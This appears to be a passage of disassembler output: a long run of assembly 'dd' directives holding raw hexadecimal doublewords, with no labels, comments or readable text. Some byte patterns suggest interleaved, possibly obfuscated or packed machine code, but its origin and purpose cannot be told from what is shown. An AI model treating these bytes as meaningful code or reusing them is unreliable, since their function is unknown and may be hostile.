		dd 0BD012195h, 341AACAEh, 3B85E425h, 0A2AA3B1Dh, 0BF8B1D05h
		dd 39BB635h, 37000000h,	71BDE17Bh, 0DF7254E5h, 65FADC6Dh
		dd 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h
		dd 2ABC9EAFh, 53221524h, 0C381E389h, 4,	3304EB83h, 1C31241Ch
		dd 241C3324h, 21F7685Ch, 2C890000h, 59BA6824h, 1C890000h
		dd 3EB95124h, 833F4115h, 0C18101E9h, 0C6D8D965h, 5459CD89h
		dd 81241C8Bh, 4C4h, 8BA5200h, 1000000h,	2C8155DAh, 0C960CB24h
		dd 81028F62h, 0C960CB02h, 34FF5A62h, 0C4815B24h, 4, 57242C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 0BDE95C24h, 36FFF98Dh
		dd 0C3A0B941h, 55CA0391h, 0B8F0EDE5h, 619F325h,	0E0FFC503h
		dd 57F2EE4Fh, 67A86AACh, 13A9D865h, 5DBBA5EDh, 6E6D9070h
		dd 3D012BA2h, 540B6BB4h, 7C73AE7Bh, 0E0823E9h, 574D1145h
		dd 1E6EE30Bh, 7391572Dh, 53929C3Ch, 0FB4E38Eh, 3E1D7457h
		dd 0F4B98D8Dh, 6A0619h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8B66DFC3h, 98D89D7h, 89061319h
		dd 131BBD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8589FAE6h, 6131ED9h, 49B866h, 0DD85C7F9h
		dd 50061318h, 6A00005Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0D7BAC350h,	305585C7h
		dd 613h, 0B5FF0000h, 61320B9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 5CC35646h, 5279CB81h, 95FF1F54h
		dd 6131D89h, 5A4FB866h,	95FF006Ah, 6130DA9h, 2FEBC08Bh
		dd 0A853FEDDh, 0F1C2A27Eh, 59D17EC9h, 0EF46A8EBh, 1658A26Ch
		dd 0B174682Ah, 325BC362h, 0B69F8908h, 1A5BAB71h, 7F0BFF31h
		dd 3C141B54h, 8DB4F127h, 19F5C18Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 187F1FDFh
		dd 0A6513732h, 1BBD8D89h, 810F0613h, 6,	31BA6650h, 85C75871h
		dd 61318DDh, 584Ch, 1969BD89h, 85C70613h, 6133055h, 0
		dd 0FE9h, 9DE35100h, 2EE8FB4Fh,	0DAAFB380h, 637247A3h
		dd 302DB5FFh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 239C83C3h, 21B1958Bh, 6E90613h
		dd 0
		dd 3EA8132Dh, 8995FFCAh, 6A06131Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5DEFC353h
		dd 18B1EA8Bh, 850B13A4h, 6132385h, 95FF006Ah, 6130DA9h
		dd 7FEBC08Bh, 21F666CDh, 46834684h, 3E21F040h, 72294801h
		dd 9AA588C5h, 1B95900Ah, 0BFB72977h, 0D9968BD9h, 0FD51FC2Ch
		dd 7A25624Bh, 0C9B02946h, 7F4525CFh, 4153AD2Eh,	0CF7AC42Ch
		dd 52F918CCh, 37CAF5E2h, 33452159h, 8FFF958Ch, 74FD90E2h
		dd 613F2D74h, 0E77E67D4h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h
		dd 0D2658BE6h, 0AD14EA64h, 58619B11h, 28E9F40Fh, 0D915A9D2h
		dd 40D397A1h, 60CC37C7h, 8D32D8B5h, 19F71F8Dh, 0F88B6606h
		dd 1BBD8D89h, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0EAEC6DC3h, 9529828Ch, 6132C21h
		dd 18DD85C7h, 729C0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0AEE932C3h, 0FF938A6h
		dd 0E84h, 0B5896000h, 6133101h,	11318D29h, 0C7610613h
		dd 13305585h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E80F61C8h, 0Fh, 1DA8484Ah
		dd 0D9FC7465h, 587C7E5Ah, 0F91E620h, 665FC3B7h,	6D5AF681h
		dd 1489BD89h, 0B5FF0613h, 613005Dh, 0C75BD8Bh, 95FF0613h
		dd 6131D89h, 6A41B2h, 0DA995FFh, 0C08B0613h, 0D8A478EBh
		dd 9C172B6Bh, 421558B7h, 0B8ED3DCCh, 83851EEEh,	0CB97690Fh
		dd 0CE9A618Dh, 0F7CE145Dh, 0BFEBA633h, 8D86416Dh, 803399EEh
		dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h, 0EF9BE7D0h, 3D4E3B2Bh
		dd 0C5EBEE7h, 0AD244384h, 0AA8684E1h, 0E36C1E77h, 0C818154Eh
		dd 0AB66D839h, 736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 0B2779E32h
		dd 3B6BC8DAh, 2D33948Eh, 0D201E894h, 6AEB93C8h,	14E969C2h
		dd 0A000000h, 23E065h, 3 dup(0)
		dd 0E9000000h, 567h, 4B6BEB77h,	5979D565h, 4565E577h, 5E7CD463h
		dd 4767ED7Ch, 23B2DB54h, 21AF9131h, 1CAF9131h, 19AC8E2Ch
		dd 89C69333h, 0B7ABFA54h, 0F44EC316h, 51E06CBDh, 3725572h
		dd 109DB487h, 429CCD50h, 0B109DB4h, 0C110428Ah,	83D280D0h
		dd 5D436302h, 1B6ABDCCh, 54E584CCh, 0C6055435h,	0F6FE54E4h
		dd 6AFB51E4h, 0AEB2D668h, 63596AB7h, 193D0C6Dh,	92B485C9h
		dd 5AF8483Dh, 0A9292A3Bh, 0E0122510h, 2626B76Bh, 3B0DA288h
		dd 6022B59Bh, 752C58DCh, 35046592h, 0BE8FC311h,	1FD368AAh
		dd 3C1EBC8Ch, 6392A3A9h, 109CF2E2h, 75C48E1Eh, 5C910351h
		dd 109CF302h, 1A2B4ACBh, 7065D674h, 0D0634C8Bh,	0B7394CA0h
		dd 54E51FA9h, 0BECC6828h, 0C1D05Ch, 0BFE30000h,	1EBBE070h
		dd 7BB4EACBh, 0BD449E26h, 0FC8E1D6Ch, 0ECC9413Fh, 0C293F2C8h
		dd 96C76E7Dh, 0CCAD0E21h, 98F95BEAh, 38AD8AC9h,	109E43DEh
		dd 3E16A3A7h, 910D805Fh, 5A109E43h, 0F652B13Bh,	2E109E43h
		dd 9DA1B09Ah, 0CD5F430Fh, 76F8EC7Dh, 5FEB1005h,	65F2C2EAh
		dd 15AA341h, 0
		dd 0C2E16DBDh, 6FFE4CE0h, 347A62Eh, 2EA8DDB3h, 0F7109DB5h
		dd 79C880D3h, 49187918h, 0F793280Ah, 9DB50C86h,	0D1B0D510h
		dd 95B70180h, 173B0A46h, 96B889C9h, 54F84946h, 54E58405h
		dd 38EA5F73h, 73C4A5A3h, 86D88AFFh, 0E5CDEAC8h,	60343658h
		dd 669260D8h, 0D935A807h, 0A2109E3Eh, 0E6775963h, 0BDEA4866h
		dd 0E3C7E470h, 2A6BFA52h, 0AFFF43A2h, 0D8BD38D9h, 3F5E4B78h
		dd 51EA682Eh, 624014A1h, 0F9325A45h, 430FCCDEh,	8A0B5AF2h
		dd 5EEFE1EBh, 0E97B5FEEh, 7D09D061h, 97C5B0Ch, 109DF18Dh
		dd 35AD3756h, 0A341D577h, 9FDFh, 70BD8300h, 0B55BB726h
		dd 0E124109Dh, 0AFFF2380h, 854FCE9Fh, 98BEE9E6h, 0B0C26C28h
		dd 0FE4FFB4Dh, 0E4F6FE9Fh, 0F86BFA50h, 7956017Ah, 9EA48A04h
		dd 0AA325310h, 9B3B19A8h, 8F2C28B5h, 22331BABh,	488AD9E3h
		dd 0C60859F7h, 488ADB75h, 0C60958F6h, 7F462FCCh, 0E9D17613h
		dd 68F0F85Ch, 0A34118B8h, 8E087D5Ah, 57109EAEh,	0DF6EE673h
		dd 8E15DFBEh, 5Ah, 0E470BDB4h, 6ADE7155h, 9FFB6A4Dh, 68109DB4h
		dd 0B4C9B25h, 6245F287h, 9DB497F3h, 963D6010h, 555791B1h
		dd 61737D6Bh, 882280D4h, 50E16DBDh, 9DB4A021h, 0E9C61910h
		dd 0ABDA6EC1h, 109DB52Fh, 0C14B95F8h, 4DC09F48h, 109DB4D1h
		dd 0E9717B9Ah, 0A341EA2Bh, 193h, 0E0C2A700h, 0D3320351h
		dd 0D575C709h, 5DEF4284h, 2596D80Ch, 4F6FDB6Dh,	4F6C1A4Fh
		dd 0E47E4770h, 0F55BD182h, 22CD9CEBh, 1F7E168Fh, 93B90C4Eh
		dd 90BC0D33h, 91C10F33h, 0E87741C0h, 0D878C7EBh, 21137110h
		dd 464C0A8Bh, 0A0ACFDB5h, 0BF8F1F03h, 77656FAEh, 0FD4C0051h
		dd 75C488D9h, 0DC86038Dh, 47E3C389h, 5AAC8689h,	14F31h
		dd 0EA08200h, 4890F140h, 0C8BEA38Eh, 0BC377AEBh, 4DD0168Eh
		dd 6DFBDFFCh, 0B2E85E1Fh, 0E283425Fh, 2465F8DAh, 6CADBC92h
		dd 3A8BAD0Dh, 6392B512h, 0A89C3E7h, 0B382CA1Bh,	38800552h
		dd 7A14A5A9h, 0C3AE285Dh, 16770A89h, 89C3EB67h,	3051B40Ah
		dd 0D79CAC93h, 4290C64h, 10B7ED17h, 0E0E8A1F2h,	7A0F7981h
		dd 0F7D775C8h, 0AD959D5Bh, 6E455Ah, 0A3190000h,	74E9C6BCh
		dd 6F624BFAh, 32FD4C73h, 0BBA11307h, 7251B431h,	60950150h
		dd 909EA4E6h, 0C50F6EAFh, 0A57BD726h, 1EAF909Eh, 0A4A1FD70h
		dd 2B6A909Eh, 89D7FB4Ah, 2A5B78C9h, 909EA4B0h, 0CF431479h
		dd 88354B3Ah, 2E30DA9Fh, 29B3FC17h, 419E6ADFh, 77F36241h
		dd 80EF629Ch, 0F445075Ah, 0F3D7F495h, 3E5FEE66h, 7189A8B6h
		dd 25000000h, 351E0C2h,	0AD09D332h, 80F5D2B4h, 168EA175h
		dd 2C2E3F5Eh, 8ABDED99h, 0C5370543h, 612007A4h,	61C3B3A5h
		dd 23B61045h, 1E7F0A8Ah, 4167757Fh, 7C0D5CF0h, 0A8A241Bh
		dd 0DC5365Ch, 0F3390BCh, 7EC091C1h, 0CF4E1F29h,	0F83826AEh
		dd 0C73695F1h, 1070B1E6h, 3471677h, 95CB9AB2h, 0CF1ADE5Bh
		dd 4E518B7h, 50A56BBh, 0FCC4901Dh, 32902E6Fh, 0EBC8BEA3h
		dd 8443BB7Ah, 0A093BC16h, 151A7C97h, 226300C8h,	0AE9E2F13h
		dd 0B5972A10h, 0E94155A4h, 49762F4Ah, 717BCF61h, 5DF0A217h
		dd 58E9CFEFh, 0D26165F4h, 77F9EF7Eh, 4FFD5002h,	54F8496Fh
		dd 3C805h, 7B660000h, 0E571BDE1h, 6DDF7254h, 0E365FADCh
		dd 72E07052h, 252DFE3h,	92C20F33h, 20307FC3h, 0AF9B2D11h
		dd 242ABC9Eh, 69682215h, 89000030h, 89502434h, 405E0h
		dd 0E8830000h, 24048704h, 241C895Ch, 81E38953h,	4C3h, 4EB8300h
		dd 5C241C87h, 0BB243489h, 2938267Dh, 68h, 241C2900h, 0F7DBF75Bh
		dd 39F381DBh, 68D0DE2Eh, 1FA5h,	83242489h, 5E042404h, 97B85053h
		dd 2938CA03h, 58042444h, 8108468Fh, 3970846h, 348B38CAh
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 5B2434FFh
		dd 0E904C483h, 0FFF9844Ch, 0E9653017h, 192DD69Fh, 0B8601586h
		dd 619FC8Ch, 0E0FFC503h, 589226B7h, 30DAEA14h, 3772CD38h
		dd 5D3C9C7Dh, 4BCCCA5Ah, 1175DDDAh, 1AC967E0h, 0FE8h, 0A7FCBA00h
		dd 3BFEF5FEh, 0BE833E13h, 0A3A72742h, 0F143BA66h, 3F89BB5Fh
		dd 0C78122C5h, 70ECh, 1C0468h, 0EBF38100h, 581CB82Eh, 13E9h
		dd 669F7900h, 90B2A570h, 946B632Dh, 999C219Eh, 178D7A1h
		dd 0F5737FFh, 58Ah, 0E1816600h,	5E5A0BCBh, 8EE81F9h, 0F74317Fh
		dd 1689h, 11E900h, 0E5CD0000h, 93221E95h, 966BB505h, 0E580F0F9h
		dd 81E6052Ah, 8C091F6h,	12B9664Ch, 9AF68167h, 535334D6h
		dd 378959F5h, 0EF83F18Ah, 5820F03h, 66000000h, 2F7F381h
		dd 48CA8A4Fh, 11850Fh, 0B9660000h, 32E99782h, 1E000000h
		dd 4C4AA6E0h, 0E92037FBh, 0Dh, 0CB1B49D7h, 1A2861h, 9B184E9Ch
		dd 0FF76E99Eh, 0F50DFFFFh, 0A545ABCBh, 0CB382275h, 304962Ch
		dd 0A8D33FCFh, 6E8FEh, 3F440000h, 5B445DFEh, 805EC88Bh
		dd 0C68167EAh, 638Dh, 0A7A9D281h, 16BB7862h, 81172265h
		dd 227DD7F3h, 5336FF17h, 41D98166h, 80585F3Ah, 0E88189C6h
		dd 5015ECF0h, 9BCF8166h, 0F8F0810Dh, 0B9584BF1h, 1894FA8Bh
		dd 5372C081h, 800F66E8h, 8, 0A0F78060h,	61F2B70Fh, 0F510689h
		dd 686h, 8C0F00h, 5F000000h, 8101EE83h,	0B7E635C9h, 4E4E4E48h
		dd 7E9h, 0EF993200h, 4B9916B9h,	0F01EB83h, 0FFFF9885h
		dd 8DD08BFFh, 19FF408Dh, 0F99D2306h, 89061316h,	131BBD8Dh
		dd 85C7F506h, 61318DDh,	73C4h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0EC35141h, 305585C7h, 613h
		dd 8B660000h, 0EDB5FFDAh, 6A061331h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1597C357h
		dd 8995FFF9h, 0F06131Dh, 68Bh, 0BEE8100h, 6A0F5209h, 0A995FF00h
		dd 8B06130Dh, 0C60CEBC0h, 0F82122D4h, 2405208Dh, 0E8FD44FFh
		dd 6, 0A9A173C1h, 8E0F9DDAh, 2,	0FC5F1CB6h, 5E30C781h
		dd 81660000h, 0BE70DDEAh, 1762h, 0D2DBD89h, 37FF0613h
		dd 0DE960h, 2C260000h, 0E76E71A3h, 64FC3159h, 0E8A0C16Ch
		dd 0Ah,	9F3B3AC9h, 8E64B6C8h, 58F55E2Fh, 85295B61h, 6131DADh
		dd 0F8BFF381h, 85897B2Ah, 6130641h, 9482C381h, 830F1C22h
		dd 4, 845BB966h, 3A45F381h, 95B8492Bh, 5373C46Ch, 11A99D09h
		dd 78F0613h, 216D8523h,	0EF810613h, 60873E84h, 81C68B66h
		dd 873E80C7h, 2D958B60h, 4E061332h, 0FF80850Fh,	0B589FFFFh
		dd 61306FDh, 14E8h, 0F8601900h,	63621142h, 66E304F6h, 201A48BCh
		dd 9EFF1E48h, 0C830F3Ah, 0F000000h, 688h, 0E9BD8B00h, 59061322h
		dd 0AE9h, 6274C300h, 897C0528h,	81FF35BBh, 72F7C1h, 38C0F00h
		dd 66000000h, 8168D98Bh, 5A00001Ch, 13E8h, 9B916B00h, 5BC8AAE1h
		dd 3C4DE441h, 0F5A263AEh, 0C522108Ah, 5B92EC80h, 18BF31FFh
		dd 5E71D9A8h, 38E0Fh, 8B660000h, 7FC681FEh, 0F28890Bh
		dd 8Ah,	2EE8100h, 0E811BA54h, 10h, 0B536E8B3h, 6C9A0FDEh
		dd 8E27739Fh, 0F5D4DFC8h, 0B7F6815Bh, 601C3348h, 397DC981h
		dd 0E08148DAh, 1B28BED7h, 18F5661h, 0A5DB8166h,	1E9811Dh
		dd 0E9502756h, 8, 0F9005D62h, 1670212Ah, 55FDC181h, 0AE85027h
		dd 0D4000000h, 7826FCABh, 0C0C2CB66h
		dd 0EA815FEEh, 1, 0FF76850Fh, 0BD8BFFFFh, 613104Dh, 0A234AC42h
		dd 0A27C2406h, 3BB37D7Ah, 80233047h, 83B42A21h,	6F302590h
		dd 863025C4h, 92A598A7h, 89302301h, 86305A8Dh, 0F8DA684h
		dd 86363666h, 8642A12Eh, 3F62590h, 802334A9h, 0EED04D6Ah
		dd 82B15B98h, 3E5E452Dh, 1385DAADh, 0B363656h, 904C16A4h
		dd 0DE0DA96h, 67B5E3B8h, 0C8363635h, 8518A87Ah,	0A204A4D2h
		dd 0F571DA49h, 0A2B990BDh, 3BD2332h, 802659A3h,	7EBBF5B7h
		dd 8630359Dh, 8638CC12h, 89962509h, 86302B01h, 4F3B6C42h
		dd 79C0A02Eh, 8BD9DA6Fh, 0B302548h, 957FA8B9h, 86359D14h
		dd 65CF2509h, 86CE9809h, 0BBD2358h, 802A249Dh, 0B6153728h
		dd 47FF0ECEh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 80233047h
		dd 83B42A21h, 6F302590h, 863025C4h, 0E98398A7h,	0B9A4F305h
		dd 22h,	9E8h, 35331C00h, 942126E7h, 8B5F2FCCh, 130F4195h
		dd 0C3C78106h, 60000066h, 0C319D89h, 8B660613h,	0B861DAh
		dd 8B000000h, 131FAD95h, 3834FF06h, 99E2B860h, 53524252h
		dd 5B615E5Eh, 0D618E981h, 0EB812323h, 28DDE54Eh, 0E16840BAh
		dd 0C2EB8118h, 891201A1h, 132825B5h, 0E5C38106h, 0E953F6DAh
		dd 5, 0D47A2355h, 71C8966h, 0D599D89h, 0BA660613h, 0E8814A70h
		dd 544CC233h, 0C081CF8Bh, 544CC22Fh, 81F1BF0Fh,	0FF99E0F8h
		dd 9A850FFFh, 0E8FFFFFFh, 7, 0E68EFD52h, 0F7841E7h, 28Fh
		dd 595A5300h, 0FE8h, 5C6FED00h,	18647844h, 81C409E1h, 0FE3BFBA0h
		dd 1EC59D8Bh, 8B590613h, 91C181D1h, 8B000074h, 0CC48BFD7h
		dd 0EF811AC2h, 1AC2AF50h, 3EE8166h, 8B31FF88h, 132D11B5h
		dd 29575806h, 1300598Dh, 0E8815B06h, 5F7C395h, 0C820Fh
		dd 8D0F0000h, 6, 4CD9D89h, 0E8810613h, 66A638E0h, 0DE9h
		dd 0FC016A00h, 76C6D0D4h, 857D45B3h, 0E8815FA0h, 34DC6EB7h
		dd 1899DB3h, 706412BAh,	4E98364h, 20CFE381h, 0EF8149BFh
		dd 1, 13850Fh, 9D8B0000h, 61322EDh, 15E9h, 0DFAE8000h
		dd 2878487Ah, 0FF83E9DBh, 0B51BFFFFh, 7939DBA1h, 1FE975D0h
		dd 0E9000000h, 7CD01Ch,	6 dup(0)
		dd 0F0E90000h, 2E000007h, 3218B6A0h, 2A10AEA0h,	3416B496h
		dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h
		dd 2428B99Fh, 6392BD86h, 16B7B7E7h, 70C579B0h, 109DB511h
		dd 86007552h, 4F109DB4h, 81D406CEh, 203EE805h, 8FEE6CD8h
		dd 8CFAEF2Fh, 96BE0B2Fh, 51DC114Eh, 7A168DCBh, 0FB4A0858h
		dd 0F3DCFB9Ah, 79DB7241h, 45E8A3C7h, 0A7EC2724h, 706FFEC6h
		dd 253F54Ah, 0E63690C5h, 9EFF0A89h, 56E3F5FFh, 67FAE0FEh
		dd 0DF7254E5h, 9C36DC6Dh, 0ACE2731Fh, 89E5DD39h, 667A60Ah
		dd 15A387A8h, 6D2BB33Dh, 0D55AADDBh, 41h, 2670BD69h, 9DB55BB7h
		dd 80E12410h, 14408DB1h, 36D33D45h, 0B7173D8Ch,	41E65D1Bh
		dd 1F05A3h, 0BD590000h,	0E3C7E470h, 75F4FC54h, 9DB48504h
		dd 7FFC6610h, 0BC0B86D3h, 0FAD5F594h, 2Fh, 4BE0C258h, 0A32D6CFDh
		dd 213024B1h, 9DB574D0h, 3218AC10h, 0FF921F23h,	4DCC9DADh
		dd 0DB751D2Ch, 3E54775Eh, 0A6381ACDh, 9F2E20A8h, 0A3BB15B5h
		dd 7AEBC8BEh, 168E85A3h, 2E102164h, 3012B09Ah, 0A19FAE9Ch
		dd 6CA13E48h, 107B8EA5h, 4D035476h, 0AC399DFCh,	707899A8h
		dd 7FC392F3h, 94D1C2Ch,	15C697BBh, 63796CDDh, 4EE29029h
		dd 0D901DEFCh, 0DAFCC488h, 0C3E7C486h, 988D971h, 85D120BFh
		dd 67047778h, 4ADE9425h, 0A308A200h, 7CD607BBh,	45109DB5h
		dd 5085A1C0h, 52024F73h, 0A03A8203h, 46E06CBDh,	994767C1h
		dd 41A641DEh, 53h, 0C5BBA315h, 4EE0C269h, 400A9E00h, 0B4890F1h
		dd 9DB580DAh, 4391B910h, 2728C50Fh, 0EB9AB203h,	109DB56Fh
		dd 9AB4D538h, 6BBD68C2h, 0ED152F19h, 6D0C07BEh,	70E5C2D1h
		dd 109DB516h, 0DD2BF8DFh, 0DAE6ECEDh, 41DF31BBh, 0FE4CE0C2h
		dd 63EBF6h, 0C2470000h,	0EC4051E0h, 0EF8E0F5Eh,	358DD9E5h
		dd 9DB546C0h, 68EA7A10h, 0A7ABB8D9h, 0E9283919h, 0E8CAE988h
		dd 66F0F856h, 0B53793C2h, 4A70109Dh, 860756F8h,	3483D73Eh
		dd 795E7D1Ch, 0CB15B3F7h, 23BD0704h, 6BBD68C2h,	0AEDF00DFh
		dd 109DB534h, 0E475D368h, 6D7796A5h, 70E5C2F3h,	109DB516h
		dd 0E436BEDFh, 0E06CBD3Eh, 36142051h, 0C2FD1099h, 331670E5h
		dd 0BEDF1099h, 0B35FDC36h, 0A68C2A22h, 2A2C3D17h, 0A6A8B99Bh
		dd 26283913h, 0A4A6B791h, 0EC26390Fh, 1280664Fh, 0D87CC979h
		dd 949262FAh, 2B3A5CBAh, 20000000h, 51E06CBDh, 5B780E53h
		dd 4903567Ch, 0A38D007Fh, 0C746168Eh, 1CADE576h, 4ABBD366h
		dd 0A8A9CD0h, 0B5157499h, 3022B298h, 6CBD2EA8h,	0C3E4C3E0h
		dd 9DB53892h, 0ED9C0110h, 109DB571h, 67F7DB3Ah,	328EDDE7h
		dd 4A704F37h, 4F8C54F6h, 8EA2031Eh, 0E9C94C16h,	2D1076C7h
		dd 0AC49DF4Ah, 7ED31A81h, 9F022B41h, 4A706FFEh,	860756F8h
		dd 0BA70CF3Eh, 0D7688EDCh, 54E6E879h, 7AF86BFAh, 0CF431401h
		dd 13A58D3Ah, 1AABAD37h, 25850174h, 0CF4E8618h,	972A10AEh
		dd 0A53416B5h, 81DD10AFh, 4A861825h, 466201CBh,	194C6B1Bh
		dd 8C092F40h, 203F9C01h, 51971EDh, 0C4183A80h, 76C3E786h
		dd 0C60E8FDEh, 0BBA33A98h, 0F65069C5h, 0C3E06CBDh, 300151DFh
		dd 0C14D07D1h, 0DE994767h, 577BA641h, 95F44505h, 45D44Bh
		dd 0A36A0000h, 0C269C5BBh, 9DB53793h, 0F64A7010h, 0BEDF8C54h
		dd 0BDE5C2A4h, 8D00DF6Bh, 109DB511h, 0A731BBDAh, 0B3196BBDh
		dd 9ED5190h, 7DA680E1h,	0E0DDC2E3h, 8B992870h, 0BD6A0D7Bh
		dd 0F16C316h, 259AC5h, 0A3380000h, 2DB6FFBBh, 81114D4Ah
		dd 93C246E0h, 109DB537h, 2861F426h, 6AABBA98h, 0C2D06A0Bh
		dd 0DF6BBD68h, 0BDE37D83h, 0E4C3E06Ch, 9DB51571h, 8C01DE10h
		dd 109DB512h, 11DBBADBh, 36152352h, 94FE1099h, 52FA4BF7h
		dd 55FF4E74h, 1B73C204h, 80B68F4Ah, 1A2B4AC3h, 5AE7A838h
		dd 88CA9BFAh, 164A1B39h, 90765FDCh, 0A1FD704Fh,	6A10998Dh
		dd 1737872Bh, 1CC643CDh, 22887CDh, 4ADEB3h, 27B1D061h
		dd 0BA2B0C29h, 10998E60h, 84DCE429h, 5CBA33B4h,	391Ch
		dd 6CBD4200h, 557251E0h, 9DB4A620h, 8394D710h, 470DE78h
		dd 0B20ED637h, 7DF0CFB7h, 168F4190h, 98B71479h,	8B40E965h
		dd 6F53B20Ah, 0BEDF6EDEh, 0EE24B736h, 3814A55Dh, 6CBD409Ah
		dd 0E5351E0h, 4B2A5B78h, 0DC168EAAh, 0A3BF19B9h, 5069C5BBh
		dd 70E5C2F6h, 109DB516h, 2436BEDFh, 0E71EF591h,	379CABF6h
		dd 0E0C2FC56h, 9AB8004Eh, 6CDDC240h, 0FA459449h, 0C5A33B85h
		dd 6DA64179h, 2Fh, 0C5BBA3D1h, 3793C269h, 109DB5h, 0CC1C3E9Dh
		dd 8E56B786h, 50E0C2D4h, 22099D02h, 0B273180Fh,	0BD8D2D2Ah
		dd 7D83DF6Bh, 3DC4E3h, 0A36A0000h, 0C269C5BBh, 0D1B04BDDh
		dd 4CC1864Bh, 109E8AD2h, 0D11B7A9Bh, 8AF55184h,	0AFE4109Eh
		dd 6FB0D15Ch, 2C066704h, 6BBD68C2h, 0AEDF00DFh,	109DB534h
		dd 0CC88D5FDh, 737D1C7Dh, 0BDE37DE9h, 2051E06Ch, 10993614h
		dd 4E0475FDh, 4F7151FBh, 0C1FF4EFEh, 8C01DEA8h,	168A3861h
		dd 83AC0B8Ah, 9884E288h, 0B0AE3627h, 0C5BBA312h, 0BDF65069h
		dd 0C146E06Ch, 0DE994767h, 4541A641h, 15000000h, 0E6C5BBA3h
		dd 0B53A94C9h, 273109Dh, 109DB488h, 1E7FCC51h, 93C20CD6h
		dd 109DB537h, 787DA00h,	9DB57CD6h, 0A1C04510h, 0B3107190h
		dd 0B4E56194h, 6FAE109Dh, 68C2FB65h, 83DF6BBDh,	29C4E37Dh
		dd 6A000000h, 250E0C2h,	20607EBAh, 3C0C9F83h, 93C22AB4h
		dd 109DB537h, 0C29BB726h, 0DF6BBD68h, 19D6D700h, 66FF743Ah
		dd 0E37D045Eh, 51E06CBDh, 99361420h, 475FD10h, 7151FB4Eh
		dd 0FF4EFE4Fh, 0CB1BA8C1h, 0EB8C25BDh, 5647A72h, 17B4D534h
		dd 8A468BE6h, 0D1F11416h, 0C5BBA377h, 0BDF65069h, 0C146E06Ch
		dd 0DE994767h, 4141A641h, 15000000h, 69C5BBA3h,	250E0C2h
		dd 0EE689DBAh, 0B7109DB4h, 0B4E96598h, 53B2109Dh, 0E071E16Fh
		dd 0C266C0A1h, 3793C2E5h, 109DB5h, 0BD89539Dh, 0D700DF6Bh
		dd 994685C2h, 0E17B45FDh, 20C4E37Dh, 6A000000h,	69C5BBA3h
		dd 0B53793C2h, 0B726109Dh, 0BD68C29Bh, 0C283DF6Bh, 0B51670E5h
		dd 0BEDF109Dh, 0BD3EE436h, 5351E06Ch, 775B780Eh, 0DA34A9E7h
		dd 0A3109DB4h, 0D3320362h, 2899CC09h, 19168EC0h, 8FDAD6F4h
		dd 0A94AC439h, 2C130A8Ah, 222F4FAh, 0C4A5C40Fh,	8A6376E7h
		dd 260C1074h, 6BAABB95h, 0B0810461h, 0B1113B8Eh, 3F0E3E8Fh
		dd 2A73BDCEh, 0C744AE5Eh, 2482CA1Bh, 72E3ABFEh,	89A66D18h
		dd 8CDDBCE1h, 76DE6B4Fh, 824A0054h, 51FF50h, 7929A2CCh
		dd 604764E8h, 3178B05h,	0D301CB23h, 0D381D0F2h,	879C0382h
		dd 57A991D3h, 3081D31Dh, 6DA0BF1Ch, 89A679F1h, 0D2915BBAh
		dd 0AF7h, 0E0C25B00h, 0D2330250h, 0BDDC860Ah, 7254E571h
		dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
		dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 76768h, 243C8900h
		dd 0C781E789h, 4, 8704EF83h, 525C243Ch,	0C281E289h, 4
		dd 8704EA83h, 895C2414h, 89512434h, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 240C895Ch, 5304B850h, 2D480609h, 0FFFFFFFFh
		dd 0EF4F932Dh, 58C689FFh, 240C8B54h, 4C481h, 89530000h
		dd 8BA52F3h, 1000000h, 5A1A89CAh, 240C8B5Bh, 81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 5E2434FFh, 0E904C483h, 0FFF9760Ch
		dd 24036B30h, 0B58A086Dh, 0B80225FAh, 61A0ACAh,	0E0FFC503h
		dd 673E0520h, 694BEB72h, 6644F9B6h, 698635AEh, 65D5F675h
		dd 6654255Dh, 38DAF9C9h, 0CC58D8Dh, 9D8B061Ah, 6131321h
		dd 1BBD8D89h, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 1F9DF3C3h, 0BE34C82Dh, 0DD85C78Dh
		dd 94061318h, 6A000059h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E87AC352h,	0Ch, 55A870D3h
		dd 0A2DE9EFBh, 2F8365E2h, 35099D2Bh, 0C7580613h, 13305585h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 2631C300h, 0EE9775Bh, 70000000h
		dd 0AAAE259Eh, 995B00EFh, 3A8D9A66h, 12E907h, 0B3DF0000h
		dd 0D179E85Ch, 37BA9782h, 0A9F5BB49h, 1F7DC7D6h, 0FE8h
		dd 0A3822500h, 95E2B26Fh, 5BCD9275h, 59C4A1D4h,	58C3B70Fh
		dd 0ED5B5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
